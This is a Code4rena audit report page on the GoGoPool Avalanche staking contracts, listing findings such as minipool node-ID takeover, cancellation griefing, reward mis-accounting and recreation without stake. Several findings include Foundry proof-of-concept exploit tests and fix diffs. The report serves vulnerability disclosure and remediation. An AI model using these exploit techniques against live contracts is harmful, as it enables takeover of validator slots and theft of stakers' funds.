Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 16/111
Findings: 5
Award: $1,826.17
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
9.9345 USDC - $9.93
An attacker may become the owner of a node ID that was used by a benevolent validator to run a validator node. The original validator won't be able to use the node ID while it's used by an attacker.
The createMinipool
function of the MinipoolManager
contract allows to re-initialize a minipool (transit it into the "Prelaunch" state) that was created earlier. However, the function doesn't check that re-initialization is initiated by the original minipool creator and the owner of the node ID associated with the minipool (MinipoolManager.sol#L242-L247):
// Create or update a minipool record for nodeID // If nodeID exists, only allow overwriting if node is finished or canceled // (completed its validation period and all rewards paid and processing is complete) int256 minipoolIndex = getIndexOf(nodeID); if (minipoolIndex != -1) { // @audit-issue owner is not checked requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); // @audit check resetMinipoolData(minipoolIndex); // Also reset initialStartTime as we are starting a whole new validation setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0); } else { minipoolIndex = int256(getUint(keccak256("minipool.count"))); // The minipoolIndex is stored 1 greater than actual value. The 1 is subtracted in getIndexOf() setUint(keccak256(abi.encodePacked("minipool.index", nodeID)), uint256(minipoolIndex + 1)); setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".nodeID")), nodeID); addUint(keccak256("minipool.count"), 1); }
The contract maintains the list of node IDs. A node ID is the unique identifier of an Avalanche validator node: every minipool is associated with a node ID (MinipoolManager.sol#L250-L251). Every minipool is also associated with an owner, the creator of the minipool and the address who controls the node ID and who is able to run an Avalanche validator node with the ID (MinipoolManager.sol#L259).
The lifecycle of a minipool include multiple states and transitions (MinipoolManager.sol#L157-L170). Newly created minipools have the "Prelaunched" state, and they can also return to this state after certain operations (MinipoolManager.sol#L157-L170):
After all these events, a minipool can be re-initialized via the createMinipool
function (MinipoolManager.sol#L241-L246). However, re-initialization can be triggered anyone, not only the owner of the minipool.
The following proof of concept demonstrates the vulnerability:
// test/uni/MinipoolManager.t.sol function testCreateMinipoolNodeIDTakeover_AUDIT() public { address nodeID = address(1); uint256 duration = 2 weeks; uint256 delegationFee = 20; uint256 avaxAssignmentRequest = 1000 ether; uint256 nopAvaxAmount = 1000 ether; uint256 vaultOriginalBalance = vault.balanceOf("MinipoolManager"); assertEq(minipoolMgr.getMinipoolCount(), 0); // A benevolent user creates a minipool and plans to run a validator node. vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(100 ether); minipoolMgr.createMinipool{value: nopAvaxAmount}(nodeID, duration, delegationFee, avaxAssignmentRequest); vm.stopPrank(); // The benevolent user is the owner of the minipool and associated node ID. int256 minipoolIndex = minipoolMgr.getIndexOf(nodeID); MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(minipoolIndex); assertEq(mp.owner, address(nodeOp)); // The benevolent user receives funds from the protocol and runs a validator node. // After some time the user decides to stop their node and returns 2000 AVAX to the protocol. // Their minipool ends up in the Withdrawable or the Finished state. // For simplicity, I'll cancel the minipool instead of going through the entire cycle. // The main requirement at this point is that the minipool ends up in a state from which it can // transit to the "Prelaunch" state: // https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L157-L170 skip(5 seconds); //cancellation moratorium vm.prank(nodeOp); minipoolMgr.cancelMinipool(nodeID); // An attacker stakes GGP so they could launch a minipool. address attacker = address(0x31337); dealGGP(attacker, 100 ether); vm.deal(attacker, nopAvaxAmount); // The attacker re-initializes the minipool created by the benevolent user: // notice that the same nodeID is used. vm.startPrank(attacker); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(100 ether); minipoolMgr.createMinipool{value: nopAvaxAmount}(nodeID, duration, delegationFee, avaxAssignmentRequest); vm.stopPrank(); int256 minipoolIndex1 = minipoolMgr.getIndexOf(nodeID); MinipoolManager.Minipool memory mp1 = minipoolMgr.getMinipool(minipoolIndex1); // The attacker becomes the owner of the minipool that was initially created by the benevolent user. assertEq(mp1.nodeID, nodeID); assertEq(mp1.status, uint256(MinipoolStatus.Prelaunch)); assertEq(mp1.owner, address(attacker)); }
Manual review
Consider this change:
--- a/contracts/contract/MinipoolManager.sol +++ b/contracts/contract/MinipoolManager.sol @@ -240,6 +240,7 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer { // (completed its validation period and all rewards paid and processing is complete) int256 minipoolIndex = getIndexOf(nodeID); if (minipoolIndex != -1) { + onlyOwner(minipoolIndex); requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); resetMinipoolData(minipoolIndex); // Also reset initialStartTime as we are starting a whole new validation
#0 - GalloDaSballo
2023-01-10T17:00:34Z
POC + Color + Most concise explanation
#1 - c4-judge
2023-01-10T17:00:39Z
GalloDaSballo marked the issue as primary issue
#2 - c4-judge
2023-01-10T17:01:29Z
GalloDaSballo marked the issue as duplicate of #213
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:11Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-08T20:24:00Z
GalloDaSballo marked the issue as satisfactory
#7 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#8 - Simon-Busch
2023-02-09T12:47:56Z
Changed severity back from QA to H as requested by @GalloDaSballo
🌟 Selected for report: imare
Also found by: 0Kage, 0xbepresent, AkshaySrivastav, Faith, HollaDieWaldfee, Jeiwan, Saintcode_, betweenETHlines, btk, dic0de, enckrish, gz627, imare, jadezti, kaliberpoziomka8552, nogo, simon135, sk8erboy
17.3743 USDC - $17.37
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L260 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L127-L135
Disabling multisigs during an emergency will not produce any effect. Compromised or exploited in other ways multisigs may still perform operations on minipools, including allocating funds to minipools, termination, cancelling and slashing of minipools.
Every minipool has an associated multisig address that's allowed to manage the pools it's assigned to (MinipoolManager.sol#L236):
address multisig = multisigManager.requireNextActiveMultisig(); ... setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")), multisig);
Multisigs are responsible for performing the most critical operations on minipools: allocating funds to minipools, managing pool's state (MinipoolManager.sol#L349, MinipoolManager.sol#L385, MinipoolManager.sol#L484), cancelling, slashing, etc. Multisigs are picked from a pool of trusted multisigs (MultisigManager.sol#L109-L112). In emergency situations, all existing multisig addresses may be disabled (Ocyticus.sol#L55):
function disableAllMultisigs() public onlyDefender { MultisigManager mm = MultisigManager(getContractAddress("MultisigManager")); uint256 count = mm.getCount(); address addr; bool enabled; for (uint256 i = 0; i < count; i++) { (addr, enabled) = mm.getMultisig(i); if (enabled) { mm.disableMultisig(addr); } } }
However, when multisigs are validated in the MinipoolManager
contract, there's no check for whether they're enabled or not (MinipoolManager.sol#L127):
function onlyValidMultisig(address nodeID) private view returns (int256) { int256 minipoolIndex = requireValidMinipool(nodeID); address assignedMultisig = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr"))); if (msg.sender != assignedMultisig) { revert InvalidMultisigAddress(); } return minipoolIndex; }
Manual review
In the onlyValidMultisig
modifier, consider checking that the multisig assigned to a minipool is enabled in the MultisigManager
contract.
As an extra measure in emergency situations, consider adding the ability for the defender to assign different multisigs to existing minipools.
#0 - GalloDaSballo
2023-01-08T12:54:01Z
Making primary for best written
#1 - c4-judge
2023-01-08T12:54:04Z
GalloDaSballo marked the issue as primary issue
#2 - emersoncloud
2023-01-24T13:24:02Z
This is working as designed. We intend for disabled multisigs not to be assigned new minipools, but they can still perform functions for existing minipools that they've been assigned.
#3 - c4-judge
2023-02-01T19:57:26Z
GalloDaSballo marked the issue as duplicate of #702
#4 - GalloDaSballo
2023-02-02T11:56:25Z
This report and it's dups do not mention requireNextActiveMultisig
being incorrect, but only mention the risk of being stuck with a specific multisig, and being unable to change it
For this reason, am awarding 50% to the dups
#5 - c4-judge
2023-02-02T11:56:30Z
GalloDaSballo marked the issue as partial-50
🌟 Selected for report: Jeiwan
Also found by: AkshaySrivastav, ladboy233, peritoflores
888.5848 USDC - $888.58
A malicious node operator may create a minipool that cannot be cancelled.
Rialto may cancel a minipool by calling cancelMinipoolByMultisig, however the function sends AVAX to the minipool owner, and the owner may block receiving of AVAX, causing the call to cancelMinipoolByMultisig
to fail (MinipoolManager.sol#L664):
function _cancelMinipoolAndReturnFunds(address nodeID, int256 index) private { ... address owner = getAddress(keccak256(abi.encodePacked("minipool.item", index, ".owner"))); ... owner.safeTransferETH(avaxNodeOpAmt); }
The following PoC demonstrates how calls to cancelMinipoolByMultisig
can be blocked:
function testCancelMinipoolByMultisigDOS_AUDIT() public { uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint128 ggpStakeAmt = 200 ether; // Node operator is a contract than cannot receive AVAX: // contract NodeOpContract {} NodeOpContract nodeOpContract = new NodeOpContract(); dealGGP(address(nodeOpContract), ggpStakeAmt); vm.deal(address(nodeOpContract), depositAmt); vm.startPrank(address(nodeOpContract)); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); bytes32 errorCode = "INVALID_NODEID"; int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID); store.setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch)); // Rialto trices to cancel the minipool created by the node operator contract but the transaction reverts since // the node operator contract cannot receive AVAX. vm.prank(address(rialto)); // FAIL: reverted with ETH_TRANSFER_FAILED minipoolMgr.cancelMinipoolByMultisig(mp1.nodeID, errorCode); }
Manual review
Consider using the Pull over Push pattern to return AVAX to owners of minipools that are canceled by Rialto.
#0 - GalloDaSballo
2023-01-10T07:50:36Z
Coded POC -> Primary
#1 - c4-judge
2023-01-10T07:50:39Z
GalloDaSballo marked the issue as primary issue
#2 - GalloDaSballo
2023-01-29T18:23:50Z
The warden has shown how the checked return value from call can be used as a grief to prevent canceling of a minipool.
The finding can have different severities based on the context, in this case, the cancelling can be denied, however, other state transitions are still possible.
For this reason (functionality is denied), I agree with Medium Severity
#3 - c4-judge
2023-01-29T18:23:55Z
GalloDaSballo marked the issue as selected for report
#4 - emersoncloud
2023-02-07T20:50:39Z
Acknowledged.
We'll make a note of this in our documentation, but not fixing immediately.
🌟 Selected for report: Jeiwan
Also found by: 0xbepresent, Franfran, yixxas
888.5848 USDC - $888.58
After recreation, minipools will receive more AVAX than the sum of their owners' current stake and the rewards that they generated.
Multipools that successfully finished validation may be recreated by multisigs, before staked GGP and deposited AVAX have been withdrawn by minipool owners (MinipoolManager.sol#L444). The function compounds deposited AVAX by adding the rewards earned during previous validation periods to the AVAX amounts deposited and requested from stakers (MinipoolManager.sol#L450-L452):
Minipool memory mp = getMinipool(minipoolIndex); // Compound the avax plus rewards // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt; setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt); setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);
The function assumes that a node operator and liquid stakers earned an equal reward amount: compoundedAvaxNodeOpAmt
is calculated as the sum of the current AVAX deposit of the minipool owner and the node operator reward earned so far. However, liquid stakers get a smaller reward than node operators: the minipool node commission fee is applied to their share (MinipoolManager.sol#L417):
uint256 avaxHalfRewards = avaxTotalRewardAmt / 2; // Node operators recv an additional commission fee ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); uint256 avaxLiquidStakerRewardAmt = avaxHalfRewards - avaxHalfRewards.mulWadDown(dao.getMinipoolNodeCommissionFeePct()); uint256 avaxNodeOpRewardAmt = avaxTotalRewardAmt - avaxLiquidStakerRewardAmt;
As a result, the avaxLiquidStakerAmt
set in the recreateMinipool
function will always be bigger than the actual amount since it equals to the compounded node operator amount, which includes node operator rewards.
Next, in the recreateMinipool
function, the assigned AVAX amount is increased by the amount borrowed from liquid stakers + the node operator amount, which is again wrong because the assigned AVAX amount can only be increased by the liquid stakers' reward share (MinipoolManager.sol#L457-L459):
staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt); staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt); staking.increaseMinipoolCount(mp.owner);
As a result, the amount of AVAX borrowed from liquid stakers by the minipool will be increased by the minipool node commission fee, the increased amount will be sent to the validator, and it will be required to end the validation period.
The following PoC demonstrates the wrong calculation:
// test/unit/MinipoolManager.t.sol function testRecreateMinipoolWrongLiquidStakerReward_AUDIT() public { uint256 duration = 4 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; // Enough to start but not to re-stake, we will add more later uint128 ggpStakeAmt = 100 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration / 2); // Give rialto the rewards it needs uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); // Pay out the rewards vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards); MinipoolManager.Minipool memory mpAfterEnd = minipoolMgr.getMinipoolByNodeID(mp.nodeID); assertEq(mpAfterEnd.avaxNodeOpAmt, depositAmt); assertEq(mpAfterEnd.avaxLiquidStakerAmt, avaxAssignmentRequest); // After the validation periods has ended, the node operator and liquid stakers got different rewards, // since a fee was taken from the liquid stakers' share. uint256 nodeOpReward = 5.75 ether; uint256 liquidStakerReward = 4.25 ether; assertEq(mpAfterEnd.avaxNodeOpRewardAmt, nodeOpReward); assertEq(mpAfterEnd.avaxLiquidStakerRewardAmt, liquidStakerReward); // Add a bit more collateral to cover the compounding rewards vm.prank(nodeOp); staking.stakeGGP(1 ether); vm.prank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID); // After pool was recreated, node operator's amounts were increased correctly. assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt + nodeOpReward); assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpInitialAmt + nodeOpReward); assertEq(staking.getAVAXStake(mp.owner), mp.avaxNodeOpAmt + nodeOpReward); // However, liquid stakers' amount were increased incorrectly: nodeOpReward was added instead of liquidStakerReward. // These assertions will fail: // expected: 1004.25 ether, actual 1005.75 ether assertEq(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt + liquidStakerReward); assertEq(staking.getAVAXAssigned(mp.owner), mp.avaxLiquidStakerAmt + liquidStakerReward); }
Manual review
When compounding rewards in the recreateMinipool
function, consider using an average reward so that node operator's and liquid stakers' deposits are increased equally and the entire reward amount is used:
--- a/contracts/contract/MinipoolManager.sol +++ b/contracts/contract/MinipoolManager.sol @@ -443,18 +443,22 @@ contract MinipoolManager is Base, ReentrancyGuard, IWithdrawer { /// @param nodeID 20-byte Avalanche node ID function recreateMinipool(address nodeID) external whenNotPaused { int256 minipoolIndex = onlyValidMultisig(nodeID); requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch); Minipool memory mp = getMinipool(minipoolIndex); // Compound the avax plus rewards // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio - uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt; + uint256 nodeOpRewardAmt = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpRewardAmt"))); + uint256 liquidStakerRewardAmt = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerRewardAmt"))); + uint256 avgRewardAmt = (nodeOpRewardAmt + liquidStakerRewardAmt) / 2; + + uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + avgRewardAmt; setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt); setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt); Staking staking = Staking(getContractAddress("Staking")); // Only increase AVAX stake by rewards amount we are compounding // since AVAX stake is only decreased by withdrawMinipool() - staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt); + staking.increaseAVAXStake(mp.owner, avgRewardAmt); staking.increaseAVAXAssigned(mp.owner, compoundedAvaxNodeOpAmt); staking.increaseMinipoolCount(mp.owner);
Also, consider sending equal amounts of rewards to the vault and the ggAVAX token in the recordStakingEnd
function.
#0 - c4-judge
2023-01-10T15:58:47Z
GalloDaSballo marked the issue as primary issue
#1 - GalloDaSballo
2023-01-10T15:58:53Z
POC + Code Snippet + Explanation = Primary
#2 - c4-sponsor
2023-01-11T20:54:50Z
emersoncloud marked the issue as disagree with severity
#3 - emersoncloud
2023-01-11T21:02:08Z
I need to do a bit more digging on my end, but this might be working as designed. Will come back to it.
#4 - 0xju1ie
2023-01-17T11:53:26Z
I think this is valid - dont think it is high though as there isn't really a loss of funds
#5 - 0xju1ie
2023-01-18T14:31:23Z
talked to the rest of the team and this is not valid - it is working as designed. We are matching 1:1 with what the node operators are earning/staking
#6 - GalloDaSballo
2023-02-03T10:37:36Z
Will flag to triage but I agree with the sponsor.
The math is as follows: -> Principal Deposited -> Earned Rewards (both for Operator and Stakers) -> Re-assing all -> Assigned amount has grown "too much" but in reality it's the correct value -> When withdrawing, the operator only get's their portion of AVAX, meaning that the assigned as grown more, but they don't get an anomalous amount of rewards
#7 - c4-judge
2023-02-03T10:50:09Z
GalloDaSballo marked the issue as nullified
#8 - iFrostizz
2023-02-03T11:05:51Z
@GalloDaSballo @0xju1ie Could you please expand on why it's okay ? They are multiple issues arising from this:
avaxLiquidStakerAmt
(in extreme cases)Manager
: https://github.com/code-423n4/2022-12-gogopool/blob/1c30b320b7105e57c92232408bc795b6d2dfa208/contracts/contract/MinipoolManager.sol#L329recordStakingError
#9 - emersoncloud
2023-02-03T15:54:14Z
@iFrostizz I can chime in here.
When recreating a minipool, we intend to allow Node Operators to compound their staking rewards for the next cycle.
Say that a minipool with 2000 AVAX was running. After one cycle the minipool was rewarded 20 AVAX. 15 AVAX goes to Node Operators and 5 AVAX to Liquid Stakers (in this example).
When we recreate the minipool we want to allow the Node Operator to run a minipool with 1015 AVAX. Right now we require a 1:1 match of Node Operator to Liquid Staker funds, so that means we'll withdraw 1015 AVAX from the Liquid Staking pool. That's 10 AVAX more than we deposited from this one minipool. We are relying on there being 10 free floating AVAX in the Liquid Staking fund to recreate this minipool.
The Warden says "The function assumes that a node operator and liquid stakers earned an equal reward amount". We're were not assuming that, but we are assuming that there will be some free AVAX in the Liquid Staker pool to withdraw more than we've just deposited from rewards.
All that being said, we do not like this assumption and will change to use avaxLiquidStakerAmt
instead of avaxNodeOpAmt
for both. Ensuring that we will always have enough Liquid Staker AVAX to recreate the minipool and we will maintain the one-to-one match.
#10 - c4-judge
2023-02-09T09:20:37Z
GalloDaSballo changed the severity to 2 (Med Risk)
#11 - c4-judge
2023-02-09T09:21:24Z
GalloDaSballo marked the issue as not nullified
#12 - c4-judge
2023-02-09T09:21:47Z
GalloDaSballo marked the issue as selected for report
#13 - GalloDaSballo
2023-02-09T09:25:21Z
The warden has shown a potential risk when it comes to accounting, fees and the requirement on liquid funds, more specifically the accounting in storage will use the values earned by the validator, however when recreating new funds will need to be pulled.
The discrepancy may cause issues
I believe this report has shown a potential risk, but I also think the Warden should have spent more time explaining it in depth vs stopping at the potential invariant being broken.
I'm flagging this out of caution after considering scrapping it / inviting the Wardens to follow up in mitigation review.
#14 - Jeiwan
2023-02-09T13:23:39Z
@emersoncloud
The Warden says "The function assumes that a node operator and liquid stakers earned an equal reward amount". We're were not assuming that
As can be seen from the linked code snippet (the comments, specifically):
// Compound the avax plus rewards // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
The assumption is that the 1:1 funds ratio is preserved after rewards have been accounted. This can only be true when the reward amounts are equal, which is violated due to the fees applied to avaxLiquidStakerRewardAmt
.
@GalloDaSballo I'm sorry for not providing more details on how this can affect the entire system. Yes, my assumption was that extra staker funds would be required to recreate a pool, and there might be not enough funds staked (and deeper accounting may be affected, as pointed out by @iFrostizz), while the earned rewards + the previous staked amounts would be enough to recreate a pool.
Thus, the mitigation that uses avaxLiquidStakerAmt
for both amounts looks good to me, since, out of the two amounts, the smaller one will always be picked, which won't require pulling extra funds from stakers. The difference between this mitigation and the mitigation suggested in the report, is that the latter uses the full reward amount in a recreated pool, while using avaxLiquidStakerAmt
for both amounts leaves a portion of the reward idle.
I also agree with the medium severity, the High Risk label was probably a misclick.
🌟 Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
21.713 USDC - $21.71
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L446 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L165-L167
A node may receive the full AVAX amount (2000 AVAX) from the protocol without staking the required minimal AVAX amount (1000 AVAX). The owner of the recreated minipool may withdraw the validation reward earned by the minipool.
The recreateMinipool
function allows Rialto to recreate a minipool for an existing node ID (MinipoolManager.sol#L444). The function requires that the current state of the minipool being recreated is either: Withdrawable, Error, Finished, or Cancelled (MinipoolManager.sol#L446, MinipoolManager.sol#L152-L175). The function allows to reuse currently staked AVAX and compound them with validation rewards collected from a previous validation period to run another validation period. The function assumes that the minipool owner hasn't withdrawn their staked AVAX from the protocol (MinipoolManager.sol#L455-L457):
// Only increase AVAX stake by rewards amount we are compounding // since AVAX stake is only decreased by withdrawMinipool() staking.increaseAVAXStake(mp.owner, mp.avaxNodeOpRewardAmt);
However, since the minipool may be in the Finished state (in which it's transitioned to after staked AVAX has been withdrawn), this assumption is wrong. Moreover, besides the state check, the only other check in the function is the minimal collateralization ratio check, which only requires that the minipool owner has enough GGP staked to cover the 1000 AVAX the minipool is going to borrow from stakers (MinipoolManager.sol#L469-L471, Staking.sol#L269-L279):
function getCollateralizationRatio(address stakerAddr) public view returns (uint256) { uint256 avaxAssigned = getAVAXAssigned(stakerAddr); if (avaxAssigned == 0) { // Infinite collat ratio return type(uint256).max; } Oracle oracle = Oracle(getContractAddress("Oracle")); (uint256 ggpPriceInAvax, ) = oracle.getGGPPriceInAVAX(); uint256 ggpStakedInAvax = getGGPStake(stakerAddr).mulWadDown(ggpPriceInAvax); return ggpStakedInAvax.divWadDown(avaxAssigned); }
Thus, for a minipool to be recreated its owner must only stake enough GGP to cover the borrower 1000 AVAX.
In case a node validator is successfully run for a recreated minipool, the owner of the minipool may withdraw the validation reward earned during the validation period, as demonstrated by the following PoC:
// test/unit/MinipoolManager.t.sol function testRecreateMinipoolMissingStake_AUDIT() public { uint256 duration = 4 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint128 ggpStakeAmt = 100 ether; uint256 nodeOpBalanceBefore = address(nodeOp).balance; // Normal flow of events: // - User creates a minipool. vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // - Rialto initiations staking for the minipool. vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); // - Validation has started. bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration / 2); uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); // - After some time, validation was ended without an error. vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: depositAmt + avaxAssignmentRequest + rewards}(mp.nodeID, block.timestamp, rewards); // Exploit starts here: // - The minipool owner withdraws pool funds. vm.prank(nodeOp); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); // - Rialto recreates the minipool. vm.prank(nodeOp); staking.stakeGGP(1 ether); // Add a bit more collateral to cover the compounding rewards vm.prank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); // - The minipool was successfully recreated. MinipoolManager.Minipool memory mpCompounded = minipoolMgr.getMinipoolByNodeID(mp.nodeID); assertEq(mpCompounded.status, uint256(MinipoolStatus.Prelaunch)); uint256 nodeOpReward = mpCompounded.avaxNodeOpAmt - mp.avaxNodeOpAmt; uint256 liquidStakerReward = mpCompounded.avaxLiquidStakerAmt - mp.avaxLiquidStakerAmt; // - The minipool manager thinks the node has the entire 1000 AVAX staked + the reward. assertEq(mpCompounded.avaxNodeOpAmt, mp.avaxNodeOpAmt + nodeOpReward); assertEq(mpCompounded.avaxLiquidStakerAmt, mp.avaxLiquidStakerAmt + liquidStakerReward); // - The amount of AVAX staked by the minipool owner has increased by nodeOpReward, // however no AVAX were deposited. assertEq(staking.getAVAXStake(mp.owner), nodeOpReward); assertEq(staking.getAVAXAssigned(mp.owner), mpCompounded.avaxLiquidStakerAmt); // - However, the vault's balance is 0, since the minipool owner has withdrawn funds in the `withdrawMinipoolFunds` call. // At this point, the minipool owner has staked nothing, but the pool was still recreated. assertEq(address(vault).balance, 0); // Other users of the protocol deposit 2000 AVAX to the vault by creating minipools. vm.deal(address(minipoolMgr), 2000 ether); vm.prank(address(minipoolMgr)); vault.depositAVAX{value: 2000 ether}(); assertEq(address(vault).balance, 2000 ether); // - Rialto successfully initiates staking for the recreated pool. vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); // - The node is running, validation has started. vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, keccak256("txid2"), block.timestamp); skip(duration / 2); deal(address(rialto), address(rialto).balance + rewards); vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: mpCompounded.avaxNodeOpAmt + mpCompounded.avaxLiquidStakerAmt + rewards}(mp.nodeID, block.timestamp, rewards); // - Eventually, the minipool owner can creat a new minipool... vm.startPrank(nodeOp); minipoolMgr.createMinipool{value: depositAmt}(address(1), 4 weeks, 0.02 ether, avaxAssignmentRequest); // ... and withdraw the rewards accumulated in the first minipool. minipoolMgr.withdrawMinipoolFunds(mp.nodeID); assertEq(address(nodeOp).balance - nodeOpBalanceBefore, nodeOpReward * 3); }
Manual review
Consider allowing recreation of a minipool only from the Withdrawable state.
#0 - c4-judge
2023-01-10T20:57:26Z
GalloDaSballo marked the issue as duplicate of #569
#1 - c4-judge
2023-01-31T13:23:01Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T12:33:01Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:11Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-09T08:23:23Z
GalloDaSballo marked the issue as not a duplicate
#7 - c4-judge
2023-02-09T08:50:15Z
GalloDaSballo changed the severity to 2 (Med Risk)
#8 - c4-judge
2023-02-09T08:50:41Z
GalloDaSballo marked the issue as duplicate of #569
#9 - c4-judge
2023-02-09T08:51:05Z
GalloDaSballo marked the issue as satisfactory